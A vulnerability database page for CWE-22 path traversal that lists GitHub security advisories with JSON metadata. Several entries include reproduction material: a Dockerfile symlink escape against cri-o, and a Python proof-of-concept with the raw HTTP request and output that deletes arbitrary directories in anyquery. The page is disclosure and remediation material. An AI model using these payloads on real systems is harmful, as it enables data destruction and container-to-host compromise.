CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13344 vulnerabilities reference this CWE, most recent first.
GHSA-J9G7-MQHH-9HXF
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 17:24eosphoros-ai/db-gpt version 0.6.0 is vulnerable to an arbitrary file write through the knowledge API. The endpoint for uploading files as 'knowledge' is susceptible to absolute path traversal, allowing attackers to write files to arbitrary locations on the target server. This vulnerability arises because the 'doc_file.filename' parameter is user-controllable, enabling the construction of absolute paths.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dbgpt"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-10833"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-36"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-21T17:24:47Z",
"nvd_published_at": "2025-03-20T10:15:20Z",
"severity": "CRITICAL"
},
"details": "eosphoros-ai/db-gpt version 0.6.0 is vulnerable to an arbitrary file write through the knowledge API. The endpoint for uploading files as \u0027knowledge\u0027 is susceptible to absolute path traversal, allowing attackers to write files to arbitrary locations on the target server. This vulnerability arises because the \u0027doc_file.filename\u0027 parameter is user-controllable, enabling the construction of absolute paths.",
"id": "GHSA-j9g7-mqhh-9hxf",
"modified": "2025-03-21T17:24:48Z",
"published": "2025-03-20T12:32:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10833"
},
{
"type": "WEB",
"url": "https://github.com/eosphoros-ai/DB-GPT/commit/780ce803e325b87f4ddfbe5824451e379aeee56c"
},
{
"type": "PACKAGE",
"url": "https://github.com/eosphoros-ai/DB-GPT"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/dc58e981-e325-4c11-b4e1-1095890fd15a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "DB-GPT Absolute Path Traversal in knowledge/{space_name}/document/upload"
}
GHSA-J9HF-98C3-WRM8
Vulnerability from github – Published: 2024-06-04 18:12 – Updated: 2025-06-27 22:08Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
and this container config:
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
and this sandbox config
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
will create a file on host /host/mtab
Patches
1.30.1, 1.29.5, 1.28.7
Workarounds
Unfortunately not
References
Are there any links users can visit to find out more?
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cri-o/cri-o"
},
"ranges": [
{
"events": [
{
"introduced": "1.28.6"
},
{
"fixed": "1.28.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cri-o/cri-o"
},
"ranges": [
{
"events": [
{
"introduced": "1.29.4"
},
{
"fixed": "1.29.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/cri-o/cri-o"
},
"ranges": [
{
"events": [
{
"introduced": "1.30.0"
},
{
"fixed": "1.30.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-5154"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-668"
],
"github_reviewed": true,
"github_reviewed_at": "2024-06-04T18:12:31Z",
"nvd_published_at": "2024-06-12T09:15:19Z",
"severity": "HIGH"
},
"details": "### Impact\nA malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.\n\nA workload built from this Dockerfile:\n```\nFROM docker.io/library/busybox as source\nRUN mkdir /extra \u0026\u0026 cd /extra \u0026\u0026 ln -s ../../../../../../../../root etc\n\nFROM scratch\n\nCOPY --from=source /bin /bin\nCOPY --from=source /lib /lib\nCOPY --from=source /extra .\n\n```\n\nand this container config:\n\n```\n{\n \"metadata\": {\n \"name\": \"busybox\"\n },\n \"image\":{\n \"image\": \"localhost/test\"\n },\n \"command\": [\n \"/bin/true\"\n ],\n \"linux\": {\n }\n}\n\n\n```\nand this sandbox config \n```\n{\n \"metadata\": {\n \"name\": \"test-sandbox\",\n \"namespace\": \"default\",\n \"attempt\": 1,\n \"uid\": \"edishd83djaideaduwk28bcsb\"\n },\n \"linux\": {\n \"security_context\": {\n \"namespace_options\": {\n \"network\": 2\n }\n }\n }\n}\n\n```\n\nwill create a file on host `/host/mtab`\n\n### Patches\n1.30.1, 1.29.5, 1.28.7\n\n### Workarounds\nUnfortunately not\n\n### References\n_Are there any links users can visit to find out more?_",
"id": "GHSA-j9hf-98c3-wrm8",
"modified": "2025-06-27T22:08:30Z",
"published": "2024-06-04T18:12:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5154"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:10818"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:3676"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:3700"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:4008"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:4159"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2024:4486"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-5154"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2280190"
},
{
"type": "PACKAGE",
"url": "https://github.com/cri-o/cri-o"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2024-2919"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "malicious container creates symlink \"mtab\" on the host External"
}
GHSA-J9M8-735Q-6M8V
Vulnerability from github – Published: 2022-05-02 03:34 – Updated: 2022-05-02 03:34Directory traversal vulnerability in test/index.php in PHP-Sugar 0.80 allows remote attackers to read arbitrary files via a ..// (dot dot slash slash) in the t parameter.
{
"affected": [],
"aliases": [
"CVE-2009-2398"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-07-09T16:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in test/index.php in PHP-Sugar 0.80 allows remote attackers to read arbitrary files via a ..// (dot dot slash slash) in the t parameter.",
"id": "GHSA-j9m8-735q-6m8v",
"modified": "2022-05-02T03:34:42Z",
"published": "2022-05-02T03:34:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2398"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/9036"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1735"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-J9MR-P9R5-6RH3
Vulnerability from github – Published: 2025-08-13 09:30 – Updated: 2025-08-13 09:30Organization Portal System developed by WellChoose has an Arbitrary File Reading vulnerability, allowing remote attackers with regular privileges to exploit Absolute Path Traversal to download arbitrary system files.
{
"affected": [],
"aliases": [
"CVE-2025-8909"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-36"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-13T09:15:29Z",
"severity": "HIGH"
},
"details": "Organization Portal System developed by WellChoose has an Arbitrary File Reading vulnerability, allowing remote attackers with regular privileges to exploit Absolute Path Traversal to download arbitrary system files.",
"id": "GHSA-j9mr-p9r5-6rh3",
"modified": "2025-08-13T09:30:32Z",
"published": "2025-08-13T09:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8909"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/en/cp-139-10325-70192-2.html"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-10321-3cae5-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J9Q2-Q6GV-W438
Vulnerability from github – Published: 2024-12-10 00:31 – Updated: 2024-12-12 03:33An issue was discovered in Digi ConnectPort LTS before 1.4.12. A Directory Traversal vulnerability exists in WebFS. This allows an attacker on the local area network to manipulate URLs to include traversal sequences, potentially leading to unauthorized access to data.
{
"affected": [],
"aliases": [
"CVE-2024-50626"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-09T22:15:22Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Digi ConnectPort LTS before 1.4.12. A Directory Traversal vulnerability exists in WebFS. This allows an attacker on the local area network to manipulate URLs to include traversal sequences, potentially leading to unauthorized access to data.",
"id": "GHSA-j9q2-q6gv-w438",
"modified": "2024-12-12T03:33:01Z",
"published": "2024-12-10T00:31:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50626"
},
{
"type": "WEB",
"url": "https://www.digi.com/getattachment/Resources/Security/Alerts/Digi-ConnectPort-LTS-Firmware-Update/ConnectPort-LTS-KB.pdf"
},
{
"type": "WEB",
"url": "https://www.digi.com/resources/documentation/digidocs/pdfs/90001001.pdf"
},
{
"type": "WEB",
"url": "https://www.digi.com/resources/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J9Q5-GH3M-3CF9
Vulnerability from github – Published: 2024-04-16 00:30 – Updated: 2024-04-16 00:30vertaai/modeldb is vulnerable to a path traversal attack due to improper sanitization of user-supplied file paths in its file upload functionality. Attackers can exploit this vulnerability to write arbitrary files anywhere in the file system by manipulating the 'artifact_path' parameter. This flaw can lead to Remote Code Execution (RCE) by overwriting critical files, such as the application's configuration file, especially when the application is run outside of Docker. The vulnerability is present in the NFSController.java and NFSService.java components of the application.
{
"affected": [],
"aliases": [
"CVE-2024-1961"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-16T00:15:10Z",
"severity": "HIGH"
},
"details": "vertaai/modeldb is vulnerable to a path traversal attack due to improper sanitization of user-supplied file paths in its file upload functionality. Attackers can exploit this vulnerability to write arbitrary files anywhere in the file system by manipulating the \u0027artifact_path\u0027 parameter. This flaw can lead to Remote Code Execution (RCE) by overwriting critical files, such as the application\u0027s configuration file, especially when the application is run outside of Docker. The vulnerability is present in the NFSController.java and NFSService.java components of the application.",
"id": "GHSA-j9q5-gh3m-3cf9",
"modified": "2024-04-16T00:30:33Z",
"published": "2024-04-16T00:30:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1961"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/5f602914-3e5d-407a-b8ce-fb444a4e8bb3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-J9RC-2HV9-V5V8
Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2025-11-04 18:30In Amanda 3.5.1, an information leak vulnerability was found in the calcsize SUID binary. An attacker can abuse this vulnerability to know if a directory exists or not anywhere in the fs. The binary will use opendir() as root directly without checking the path, letting the attacker provide an arbitrary path.
{
"affected": [],
"aliases": [
"CVE-2022-37703"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-668"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-13T20:15:00Z",
"severity": "LOW"
},
"details": "In Amanda 3.5.1, an information leak vulnerability was found in the calcsize SUID binary. An attacker can abuse this vulnerability to know if a directory exists or not anywhere in the fs. The binary will use `opendir()` as root directly without checking the path, letting the attacker provide an arbitrary path.",
"id": "GHSA-j9rc-2hv9-v5v8",
"modified": "2025-11-04T18:30:39Z",
"published": "2022-09-14T00:00:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-37703"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/870037"
},
{
"type": "WEB",
"url": "https://github.com/MaherAzzouzi/CVE-2022-37703"
},
{
"type": "WEB",
"url": "https://github.com/zmanda/amanda/releases/tag/tag-community-3.5.3"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/12/msg00003.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00023.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/A5DCLSX5YYTWMKSMDL67M5STZ5ZDSOXK"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ATMGMVS3QDN6OMKMHGUTUTU7NS7HR3BZ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/JYREA6LFXF5M7K4WLNJV5VNQPS4MTBW2"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/A5DCLSX5YYTWMKSMDL67M5STZ5ZDSOXK"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ATMGMVS3QDN6OMKMHGUTUTU7NS7HR3BZ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JYREA6LFXF5M7K4WLNJV5VNQPS4MTBW2"
},
{
"type": "WEB",
"url": "http://www.amanda.org"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J9RW-QM5F-R8XM
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 20:52A path traversal vulnerability exists in the save-workflow and load-workflow functionality of modelscope/agentscope versions prior to the fix. This vulnerability allows an attacker to read and write arbitrary JSON files on the filesystem, potentially leading to the exposure or modification of sensitive information such as configuration files, API keys, and hardcoded passwords.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "agentscope"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-8551"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-20T20:52:49Z",
"nvd_published_at": "2025-03-20T10:15:43Z",
"severity": "CRITICAL"
},
"details": "A path traversal vulnerability exists in the save-workflow and load-workflow functionality of modelscope/agentscope versions prior to the fix. This vulnerability allows an attacker to read and write arbitrary JSON files on the filesystem, potentially leading to the exposure or modification of sensitive information such as configuration files, API keys, and hardcoded passwords.",
"id": "GHSA-j9rw-qm5f-r8xm",
"modified": "2025-03-20T20:52:49Z",
"published": "2025-03-20T12:32:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8551"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelscope/agentscope"
},
{
"type": "WEB",
"url": "https://github.com/modelscope/agentscope/blob/01530ee6a99c86426aab1be11ec3b3b86ca640ac/src/agentscope/studio/_app.py#L680"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/e0c0c294-f1e2-4f2c-a632-a9be9fd06989"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "AgentScope path traversal vulnerability in save-workflow"
}
GHSA-J9RX-RPPG-6HH4
Vulnerability from github – Published: 2026-06-10 17:11 – Updated: 2026-06-10 17:11Path Traversal in clear_plugin_cache Allows Arbitrary Directory Deletion
| Field | Value |
|---|---|
| Repository | julien040/anyquery |
| Affected version | 0.4.4 |
| Vulnerability | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |
| Severity | High |
Summary
The SQL scalar function clear_plugin_cache(plugin) in namespace/other_functions.go passes the caller-supplied plugin argument directly to path.Join and then to os.RemoveAll, with only an empty-string check as a guard. Because path.Join silently resolves .. segments, a low-privileged bearer-token holder can submit SELECT clear_plugin_cache('../../../../tmp/target') to the /v1/query HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside $XDG_CACHE_HOME/anyquery/plugins/ was successfully deleted, confirming full path-traversal exploitation.
Affected Code
namespace/other_functions.go:46 — pathlib.Join resolves .. segments in attacker-controlled plugin, producing a path outside the cache root
namespace/other_functions.go:53 — os.RemoveAll unconditionally deletes the traversed path
func clear_plugin_cache(plugin string) string {
pathToRemove := pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin)
if plugin == "" {
return "The plugin name is empty"
}
// Remove the directory
err := os.RemoveAll(pathToRemove)
if err != nil {
return err.Error()
}
return ""
}
HTTP JSON body.Query → executeQueryLLM (controller/llm.go:420-426) → shell.Run → SQLite clear_plugin_cache(plugin) → pathlib.Join(xdg.CacheHome, "anyquery", "plugins", plugin) at other_functions.go:46 → os.RemoveAll at other_functions.go:53
Proof of Concept
Prerequisites:
- Docker installed
- Python 3 with requests package (pip install requests)
Step 1 — Build and start the vulnerable service:
docker build -f Dockerfile -t anyquery-vuln002 .
docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
Step 2 — Run the PoC script (separate terminal):
python3 poc.py
poc.py:
#!/usr/bin/env python3
"""PoC reproduction script — julien040/anyquery / VULN-002
Prerequisites:
- Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .
- Container running: docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002
- Python packages: requests (stdlib subprocess also used)
How to run (from this report directory, after Dockerfile service is up):
python3 poc.py
Expected on success:
Final stdout line begins with `RESULT: PASS` confirming that the sentinel
directory outside the cache root was deleted via clear_plugin_cache path traversal.
"""
import subprocess
import sys
import json
import requests
BASE_URL = "http://127.0.0.1:8070"
CONTAINER = "anyquery-vuln002"
# Traversal payload: XDG_CACHE_HOME=/root/.cache, so
# path.Join("/root/.cache","anyquery","plugins","../../../../tmp/poc_sentinel")
# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).
TRAVERSAL_PLUGIN = "../../../../tmp/poc_sentinel"
SENTINEL_PATH = "/tmp/poc_sentinel"
QUERY = f"SELECT clear_plugin_cache('{TRAVERSAL_PLUGIN}')"
def docker_exec(cmd):
result = subprocess.run(
["docker", "exec", CONTAINER] + cmd,
capture_output=True, text=True
)
return result.returncode, result.stdout, result.stderr
def sentinel_exists():
rc, _, _ = docker_exec(["test", "-d", SENTINEL_PATH])
return rc == 0
# Step 1: create sentinel inside container
print(f"[1] Creating sentinel directory {SENTINEL_PATH} inside container...")
rc, out, err = docker_exec(["mkdir", "-p", SENTINEL_PATH])
if rc != 0:
sys.exit(f"RESULT: FAIL — could not create sentinel: {err}")
if not sentinel_exists():
sys.exit("RESULT: FAIL — sentinel not present after mkdir")
print(f" Sentinel created: {SENTINEL_PATH}")
# Step 2: confirm server is reachable
print("[2] Confirming server is reachable...")
try:
r = requests.get(f"{BASE_URL}/list-tables", timeout=5)
assert r.status_code == 200, f"unexpected status {r.status_code}"
print(f" GET /list-tables → HTTP {r.status_code} OK")
except Exception as e:
sys.exit(f"RESULT: FAIL — server not reachable: {e}")
# Step 3: send traversal request
print("[3] Sending path-traversal payload via POST /execute-query...")
payload = {"query": QUERY}
r = requests.post(
f"{BASE_URL}/execute-query",
headers={"Content-Type": "application/json"},
data=json.dumps(payload),
timeout=10,
)
print(f" HTTP {r.status_code}")
print(f" Body: {r.text.strip()}")
if r.status_code != 200:
sys.exit(f"RESULT: FAIL — unexpected HTTP status {r.status_code}")
# Step 4: verify sentinel is gone
print("[4] Checking whether sentinel was deleted inside container...")
if sentinel_exists():
print(f" Sentinel still present — traversal did not delete it.")
print(f"RESULT: FAIL — {SENTINEL_PATH} still exists after traversal request")
else:
print(f" Sentinel GONE — {SENTINEL_PATH} deleted outside cache root.")
print(f"RESULT: PASS — clear_plugin_cache('{TRAVERSAL_PLUGIN}') deleted {SENTINEL_PATH} (outside /root/.cache/anyquery/plugins/)")
HTTP request:
POST /execute-query HTTP/1.1
Host: 127.0.0.1:8070
Content-Type: application/json
{"query": "SELECT clear_plugin_cache('../../../../tmp/poc_sentinel')"}
Output:
[1] Creating sentinel directory /tmp/poc_sentinel inside container...
Sentinel created: /tmp/poc_sentinel
[2] Confirming server is reachable...
GET /list-tables → HTTP 200 OK
[3] Sending path-traversal payload via POST /execute-query...
HTTP 200
Body: +----------------------------------------------------+
| clear_plugin_cache('../../../../tmp/poc_sentinel') |
+----------------------------------------------------+
| |
+----------------------------------------------------+
1 results
[4] Checking whether sentinel was deleted inside container...
Sentinel GONE — /tmp/poc_sentinel deleted outside cache root.
RESULT: PASS — clear_plugin_cache('../../../../tmp/poc_sentinel') deleted /tmp/poc_sentinel (outside /root/.cache/anyquery/plugins/)
Impact
An authenticated low-privileged API user can delete any directory accessible to the anyquery server process by supplying a ..-traversing plugin name to clear_plugin_cache. Verified impact is permanent deletion of arbitrary directories outside the intended plugin cache boundary ($XDG_CACHE_HOME/anyquery/plugins/). In a realistic deployment, an attacker could target configuration directories, application data, or the user's home directory, causing irreversible data loss and denial of service. There is no confidentiality impact as the function only deletes and does not read data.
Remediation
In namespace/other_functions.go, resolve the full path and confirm it shares the expected cache-root prefix before calling os.RemoveAll:
func clear_plugin_cache(plugin string) string {
if plugin == "" {
return "The plugin name is empty"
}
cacheRoot := pathlib.Join(xdg.CacheHome, "anyquery", "plugins")
pathToRemove := pathlib.Join(cacheRoot, plugin)
rel, err := filepath.Rel(cacheRoot, pathToRemove)
if err != nil || strings.HasPrefix(rel, "..") || rel == ".." {
return "Invalid plugin name"
}
if err := os.RemoveAll(pathToRemove); err != nil {
return err.Error()
}
return ""
}
As a defence-in-depth measure, also reject plugin values containing /, \, or a leading . at the input level before the path.Join call, so traversal sequences are blocked at the earliest opportunity.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.4"
},
"package": {
"ecosystem": "Go",
"name": "github.com/julien040/anyquery"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47253"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-10T17:11:53Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Path Traversal in `clear_plugin_cache` Allows Arbitrary Directory Deletion\n\n| Field | Value |\n| ---------------- | ----- |\n| Repository | julien040/anyquery |\n| Affected version | 0.4.4 |\n| Vulnerability | CWE-22 \u2014 Improper Limitation of a Pathname to a Restricted Directory |\n| Severity | High |\n\n\n## Summary\n\nThe SQL scalar function `clear_plugin_cache(plugin)` in `namespace/other_functions.go` passes the caller-supplied `plugin` argument directly to `path.Join` and then to `os.RemoveAll`, with only an empty-string check as a guard. Because `path.Join` silently resolves `..` segments, a low-privileged bearer-token holder can submit `SELECT clear_plugin_cache(\u0027../../../../tmp/target\u0027)` to the `/v1/query` HTTP endpoint and delete any directory reachable by the server process. In the verified scenario, a directory outside `$XDG_CACHE_HOME/anyquery/plugins/` was successfully deleted, confirming full path-traversal exploitation.\n\n## Affected Code\n\n`namespace/other_functions.go:46` \u2014 `pathlib.Join` resolves `..` segments in attacker-controlled `plugin`, producing a path outside the cache root\n\n`namespace/other_functions.go:53` \u2014 `os.RemoveAll` unconditionally deletes the traversed path\n\n```go\nfunc clear_plugin_cache(plugin string) string {\n\tpathToRemove := pathlib.Join(xdg.CacheHome, \"anyquery\", \"plugins\", plugin)\n\n\tif plugin == \"\" {\n\t\treturn \"The plugin name is empty\"\n\t}\n\n\t// Remove the directory\n\terr := os.RemoveAll(pathToRemove)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\n\treturn \"\"\n}\n```\n\nHTTP JSON `body.Query` \u2192 `executeQueryLLM` (`controller/llm.go:420-426`) \u2192 `shell.Run` \u2192 SQLite `clear_plugin_cache(plugin)` \u2192 `pathlib.Join(xdg.CacheHome, \"anyquery\", \"plugins\", plugin)` at `other_functions.go:46` \u2192 `os.RemoveAll` at `other_functions.go:53`\n\n## Proof of Concept\n\n**Prerequisites:**\n- Docker installed\n- Python 3 with `requests` package (`pip install requests`)\n\n**Step 1 \u2014 Build and start the vulnerable service:**\n\n```bash\ndocker build -f Dockerfile -t anyquery-vuln002 .\ndocker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002\n```\n\n**Step 2 \u2014 Run the PoC script (separate terminal):**\n\n```bash\npython3 poc.py\n```\n\n**poc.py:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC reproduction script \u2014 julien040/anyquery / VULN-002\n\nPrerequisites:\n - Docker image built: docker build -f Dockerfile -t anyquery-vuln002 .\n - Container running: docker run --rm --name anyquery-vuln002 -p 127.0.0.1:8070:8070 anyquery-vuln002\n - Python packages: requests (stdlib subprocess also used)\n\nHow to run (from this report directory, after Dockerfile service is up):\n python3 poc.py\n\nExpected on success:\n Final stdout line begins with `RESULT: PASS` confirming that the sentinel\n directory outside the cache root was deleted via clear_plugin_cache path traversal.\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport requests\n\nBASE_URL = \"http://127.0.0.1:8070\"\nCONTAINER = \"anyquery-vuln002\"\n# Traversal payload: XDG_CACHE_HOME=/root/.cache, so\n# path.Join(\"/root/.cache\",\"anyquery\",\"plugins\",\"../../../../tmp/poc_sentinel\")\n# resolves to /tmp/poc_sentinel (4 levels up escapes the cache root).\nTRAVERSAL_PLUGIN = \"../../../../tmp/poc_sentinel\"\nSENTINEL_PATH = \"/tmp/poc_sentinel\"\nQUERY = f\"SELECT clear_plugin_cache(\u0027{TRAVERSAL_PLUGIN}\u0027)\"\n\n\ndef docker_exec(cmd):\n result = subprocess.run(\n [\"docker\", \"exec\", CONTAINER] + cmd,\n capture_output=True, text=True\n )\n return result.returncode, result.stdout, result.stderr\n\n\ndef sentinel_exists():\n rc, _, _ = docker_exec([\"test\", \"-d\", SENTINEL_PATH])\n return rc == 0\n\n\n# Step 1: create sentinel inside container\nprint(f\"[1] Creating sentinel directory {SENTINEL_PATH} inside container...\")\nrc, out, err = docker_exec([\"mkdir\", \"-p\", SENTINEL_PATH])\nif rc != 0:\n sys.exit(f\"RESULT: FAIL \u2014 could not create sentinel: {err}\")\nif not sentinel_exists():\n sys.exit(\"RESULT: FAIL \u2014 sentinel not present after mkdir\")\nprint(f\" Sentinel created: {SENTINEL_PATH}\")\n\n# Step 2: confirm server is reachable\nprint(\"[2] Confirming server is reachable...\")\ntry:\n r = requests.get(f\"{BASE_URL}/list-tables\", timeout=5)\n assert r.status_code == 200, f\"unexpected status {r.status_code}\"\n print(f\" GET /list-tables \u2192 HTTP {r.status_code} OK\")\nexcept Exception as e:\n sys.exit(f\"RESULT: FAIL \u2014 server not reachable: {e}\")\n\n# Step 3: send traversal request\nprint(\"[3] Sending path-traversal payload via POST /execute-query...\")\npayload = {\"query\": QUERY}\nr = requests.post(\n f\"{BASE_URL}/execute-query\",\n headers={\"Content-Type\": \"application/json\"},\n data=json.dumps(payload),\n timeout=10,\n)\nprint(f\" HTTP {r.status_code}\")\nprint(f\" Body: {r.text.strip()}\")\n\nif r.status_code != 200:\n sys.exit(f\"RESULT: FAIL \u2014 unexpected HTTP status {r.status_code}\")\n\n# Step 4: verify sentinel is gone\nprint(\"[4] Checking whether sentinel was deleted inside container...\")\nif sentinel_exists():\n print(f\" Sentinel still present \u2014 traversal did not delete it.\")\n print(f\"RESULT: FAIL \u2014 {SENTINEL_PATH} still exists after traversal request\")\nelse:\n print(f\" Sentinel GONE \u2014 {SENTINEL_PATH} deleted outside cache root.\")\n print(f\"RESULT: PASS 